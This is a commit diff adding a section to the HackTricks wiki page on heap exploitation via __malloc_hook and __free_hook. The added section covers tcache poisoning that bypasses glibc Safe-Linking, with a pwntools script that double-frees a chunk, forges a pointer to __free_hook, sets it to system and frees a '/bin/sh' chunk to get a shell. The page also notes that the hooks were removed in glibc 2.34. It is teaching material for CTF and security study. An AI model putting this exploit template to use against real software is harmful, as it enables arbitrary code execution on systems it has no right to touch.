Merge pull request #1279 from HackTricks-wiki/research_update_src_binary-exploitation_arbitrary-write-2-exec_aw2exec-__malloc_hook_20250812_082747

Research Update Enhanced src/binary-exploitation/arbitrary-w...
This commit is contained in:
SirBroccoli 2025-08-13 20:02:11 +02:00 committed by GitHub
commit b51558c814

View File

@ -1,4 +1,4 @@
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
@ -64,12 +64,78 @@ Now a **fast bin attack** is performed:
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
---
## Tcache poisoning & Safe-Linking (glibc 2.32 2.33)
glibc 2.32 introduced **Safe-Linking** an integrity-check that protects the *single*-linked lists used by **tcache** and fast-bins. Instead of storing a raw forward pointer (`fd`), ptmalloc now stores it *obfuscated* with the following macro:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
Consequences for exploitation:
1. A **heap leak** is mandatory the attacker must know the runtime value of `chunk_addr >> 12` to craft a valid obfuscated pointer.
2. Only the *full* 8-byte pointer can be forged; single-byte partial overwrites will not pass the check.
A minimal tcache-poisoning primitive that overwrites `__free_hook` on glibc 2.32/2.33 therefore looks like:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 «Rusty Pointers»* and *openECSC 2023 «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
---
## What changed in glibc ≥ 2.34?
Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **removed from the public API and are no longer invoked by the allocator**. Compatibility symbols are still exported for legacy binaries, but overwriting them no longer influences the control-flow of `malloc()` or `free()`.
Practical implication: on modern distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) you must pivot to *other* hijack primitives (IO-FILE, `__run_exit_handlers`, vtable spraying, etc.) because hook overwrites will silently fail.
If you still need the old behaviour for debugging, glibc ships `libc_malloc_debug.so` which can be pre-loaded to re-enable the legacy hooks but the library is **not meant for production and may disappear in future releases**.
---
## References
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
- glibc 2.34 release notes removal of malloc hooks
{{#include ../../banners/hacktricks-training.md}}